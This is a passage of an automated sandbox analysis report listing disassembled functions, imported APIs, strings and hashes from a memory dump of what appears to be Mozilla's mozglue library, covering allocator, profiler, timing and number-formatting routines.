Opcode Fuzzy Hash: ee8e168717e0fd68aa1b034932b55cd596eeb8e4b6d9db52e53cfd98d332e3f8
Instruction Fuzzy Hash: AA926BB1A087418FD724CF58C59079AB7E1BFC9308F14891DE59A9B751DB30E88ACF92

Function 6CAA2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAA2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAA2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA36BF

Strings

set , xrefs: 6CAA36EC
get , xrefs: 6CAA3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAA378D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: dff1a9a1af949758261dc43b098f92a8cdf979dd2616b0d9a719cdf9c371a954
Instruction ID: 6b455a09f50c7cd40286ffca506b42ad56380ca3bdad773d059f473ab76a7238
Opcode Fuzzy Hash: dff1a9a1af949758261dc43b098f92a8cdf979dd2616b0d9a719cdf9c371a954
Instruction Fuzzy Hash: 36326D706093818FD324CF64C4906AFBBE2AFC9318F58891DE5D987751DB31E98ACB52

Function 6CA97E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6CA981E3, 6CA98311
data, xrefs: 6CA98280, 6CA983E1
name, xrefs: 6CA97ECF, 6CA98335
(pre-xul), xrefs: 6CA97E88

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 10713ed4e0952a5270b6d23d07de709892b3f1b735a2b6444d4f7529f584d035
Instruction ID: 4ae7d2748bab92679485a707dd06ae26f247b3a75e39a2026797673f48b9e289
Opcode Fuzzy Hash: 10713ed4e0952a5270b6d23d07de709892b3f1b735a2b6444d4f7529f584d035
Instruction Fuzzy Hash: 46E161B1B043408BD710CF69884166BF7E9BFC5314F158A2DE895D7B90DBB0ED898B92

Function 6CA7D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D4F2
LeaveCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D50B

Part of subcall function 6CA5CFE0: EnterCriticalSection.KERNEL32(6CADE784), ref: 6CA5CFF6
Part of subcall function 6CA5CFE0: LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA5D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D52E
EnterCriticalSection.KERNEL32(6CADE7DC), ref: 6CA7D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA7D6A6
LeaveCriticalSection.KERNEL32(6CADE7DC), ref: 6CA7D712
LeaveCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA7D7EA

Strings

<jemalloc>, xrefs: 6CA7D827
: (malloc) Error initializing arena, xrefs: 6CA7D82C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f7a03fe7594de3934f22da27cf8035a3353011c7b544402a294901c940cd8022
Instruction ID: 9b9cbbc26fdb6b835689c54235cf1914553a50aa09a6466bdaba0e2bae5fdea1
Opcode Fuzzy Hash: f7a03fe7594de3934f22da27cf8035a3353011c7b544402a294901c940cd8022
Instruction Fuzzy Hash: 3F91D475E047018FD768CF28C59476AB7F1FB89314F19892EE55A87A80D730E885CBA1

Function 6CA75E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2
memset.VCRUNTIME140(6CAB7765,000000E5,ADC09015), ref: 6CA761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA77652

Strings

MOZ_CRASH(), xrefs: 6CA77BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA7730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA77BCD, 6CA77C1F, 6CA77C34, 6CA780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA772E3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d98c21203933d8090343164fc5c051c59c7b36b16566c1f1fc55ad5b865caf7b
Instruction ID: 24edb0421849a416bf4289b807491560c52dc92cf75c6f948ee45a8533c5f938
Opcode Fuzzy Hash: d98c21203933d8090343164fc5c051c59c7b36b16566c1f1fc55ad5b865caf7b
Instruction Fuzzy Hash: 703378756067018FC329CF28C590715BBE2FF85328B29C6ADE869CB7A5D731E881CB51

Function 6CA53480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA53492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA5350E
__Init_thread_footer.LIBCMT ref: 6CA53522
__aulldiv.LIBCMT ref: 6CA53552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA5357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA53592

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

Strings

kernel32.dll, xrefs: 6CA534EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA53508

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: f28d0a994517d076377ce50bf54b2f9e182f9d605358ab6f4166d8c633be1d0f
Instruction ID: e3ffba0cf053a3e41949ba754173fbcc100e7ddb5f25dea18b1c2e0de7163a60
Opcode Fuzzy Hash: f28d0a994517d076377ce50bf54b2f9e182f9d605358ab6f4166d8c633be1d0f
Instruction Fuzzy Hash: FA31AF70A012479FDF08DFB4D948AAA77B5FB85304F14C519F54193A50DA70BA46CB60

Function 6CAA4820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6CAA48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CAA4CAF
data, xrefs: 6CAA49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CAA4D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CAA4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CAA4DB8, 6CAA4DD8
ProfileBuffer parse error: %s, xrefs: 6CAA4DD9
-%llu, xrefs: 6CAA4825

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: c5bd83cacd926804d2097209ef9c52cd2cdc6b95d8abf7ae3de227948f13401b
Instruction ID: 3fcab1bc60e13874ea445694c02f4990d1406e866bc681bf65e2c34718a0560e
Opcode Fuzzy Hash: c5bd83cacd926804d2097209ef9c52cd2cdc6b95d8abf7ae3de227948f13401b
Instruction Fuzzy Hash: 1F72FE75918B858BD321CF38C4513ABF7E5AFDA344F108B1DE48A6B610EB70A4D6DB42

Function 6CAB4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAB4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB4F2E
moz_xmalloc.MOZGLUE ref: 6CAB4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAB4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB52E6
Sleep.KERNEL32(00000010), ref: 6CAB5481
free.MOZGLUE(?), ref: 6CAB5498

Strings

(, xrefs: 6CAB5250

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: d5d3974312e741ff5aca55bf9f4c1958a1f37ff48263312d1fb8e5cc584abbf3
Instruction ID: 03c4b40b03c794ac66cbe4d668410d6720ed680019fcd4c7dd393d7eebd8a75b
Opcode Fuzzy Hash: d5d3974312e741ff5aca55bf9f4c1958a1f37ff48263312d1fb8e5cc584abbf3
Instruction Fuzzy Hash: F5F1C171A19B018FC71ACF39C85062BB7F9AFD6284F058B2EF846A7651DB31D446CB81

Function 6CAB5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAB6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAB6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA5EE51,?), ref: 6CAB6046
OutputDebugStringA.KERNEL32(?,6CA5EE51,?), ref: 6CAB6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAB6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAB6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAB6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAD148E), ref: 6CAB6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA5EE51,00000000,?), ref: 6CAB60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAB60C4

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ea8ca47b853c6c86eabd0616b71e82918401585d6816b798df454e49d7fd85a8
Instruction ID: 921a2024cae889b3af94b8a7edd97de93185f91a66fb8e197cb9b036e036e584
Opcode Fuzzy Hash: ea8ca47b853c6c86eabd0616b71e82918401585d6816b798df454e49d7fd85a8
Instruction Fuzzy Hash: 3621E7B1A003099FDB145F24DC48AAE7BB8FF45618F00C528E81A97240CB34F599CFD2

Function 6CA79E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA79EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA79F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA79F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA7A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA7A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA7A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA7A8B1, 6CA7A8D4, 6CA7A8EF

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 30563e866a00f4946ab58d7089b80cee74bb5e268fbe2bacf14259d4fbfaae73
Instruction ID: df2163642c7e50c01a93468e56b6fecfb2c622b728c15b0360d882f0b7aa3be1
Opcode Fuzzy Hash: 30563e866a00f4946ab58d7089b80cee74bb5e268fbe2bacf14259d4fbfaae73
Instruction Fuzzy Hash: 67727B76A057119FD324CF28C540615FBE2BF89328F29C66DE8699B791D335EC82CB90

Function 6CAA2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAA2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAA2C61

Part of subcall function 6CA54DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA54E5A
Part of subcall function 6CA54DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA54E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAA2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAA2E2D

Part of subcall function 6CA681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA681DE

Strings

expected a Time entry, xrefs: 6CAA2E36
(root), xrefs: 6CAA354F
ProfileBuffer parse error: %s, xrefs: 6CAA2E3B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 88c8b53aca7121c1a246139baa146da7fdf875fbddf30ee13c9b983adc1a97f9
Instruction ID: 35e35195a5093b37ec29bb26c5f2f968e6c8897d9e482442e541d6e709d05595
Opcode Fuzzy Hash: 88c8b53aca7121c1a246139baa146da7fdf875fbddf30ee13c9b983adc1a97f9
Instruction Fuzzy Hash: 4891D1706087418FC724CF69C48469FF7E1AF89358F148A1DE99A8B751DB30D98ACB52

Function 6CA7C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CA7D4BB
0123456789abcdef, xrefs: 6CA7C317

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: f715d8d3871d18e22a78cfb3de53bea265b0956498c657025db3097373760b3e
Instruction ID: 542b98df31db40946ca28bb047f36660fbca6d3f7dde463f441dd5511f82f9e5
Opcode Fuzzy Hash: f715d8d3871d18e22a78cfb3de53bea265b0956498c657025db3097373760b3e
Instruction Fuzzy Hash: 1D52E438A093418FD734DF18C45479AB7F2FB86318F18891DE9D687B81D7359886CBA2

Function 6CAB9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAB9F3D
__aulldiv.LIBCMT ref: 6CAB9F77
__aullrem.LIBCMT ref: 6CAB9F8C
__aulldiv.LIBCMT ref: 6CABA023

Strings

NaN, xrefs: 6CAB9EAB
-Infinity, xrefs: 6CAB9E60, 6CAB9E7B

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 8e0e6528f716071934dcffd63c31cd0fff2c42b778017e145a77b12a2af283e1
Instruction ID: dc3e453e3887a7425be9525344903f88023895aa480ba23b32d9a2d5bc10581d
Opcode Fuzzy Hash: 8e0e6528f716071934dcffd63c31cd0fff2c42b778017e145a77b12a2af283e1
Instruction Fuzzy Hash: 29C19031E003198BDB14CFA9D89079EB7BAFB84714F584529D409BBB80DB71AD89CB91

Function 6CA5D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CA5DC7F
-, xrefs: 6CA5D7DD
9, xrefs: 6CA5DE7F
0, xrefs: 6CA5D852
1, xrefs: 6CA5DBDD
, xrefs: 6CA5DA88
@, xrefs: 6CA5DAF6
8, xrefs: 6CA5DC08

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 5c6651685c8bd3cdb89e8e8c8223167e6f1d8af8c9f0f8839a31ec0300ea0b73
Instruction ID: 001bea1a5d2b55feea6112bb8e0a65c00adf352758c925e3f7696e19d150f318
Opcode Fuzzy Hash: 5c6651685c8bd3cdb89e8e8c8223167e6f1d8af8c9f0f8839a31ec0300ea0b73
Instruction Fuzzy Hash: 9A62BF71A0D3458FD701CF29C29075ABBF2AF86318F98CA0DE4D54BA91C33599E5CB82

Function 6CA69F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6CA6A824
' , xrefs: 6CA6A3D8
@, xrefs: 6CA6A625
0, xrefs: 6CA6AB22
0, xrefs: 6CA6A100
9, xrefs: 6CA6A5D6

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 88dd43f800daed79b57335f03c0f23738ef011a52d10262ff07a6a38a5ff316a
Instruction ID: efe41ab34fef6d6f164d252063753ef33c46aadc95f70d162f46f3a9fe334cd8
Opcode Fuzzy Hash: 88dd43f800daed79b57335f03c0f23738ef011a52d10262ff07a6a38a5ff316a
Instruction Fuzzy Hash: 2582C0755093358BD711CF1BC49426EB7E3EB81708F698A2AE8D547E90D335ACC6CB82

Function 6CA5BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA5C1CB
__aulldiv.LIBCMT ref: 6CA5C24C
__aulldiv.LIBCMT ref: 6CA5C348
__aullrem.LIBCMT ref: 6CA5C365
__aulldiv.LIBCMT ref: 6CA5C37D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
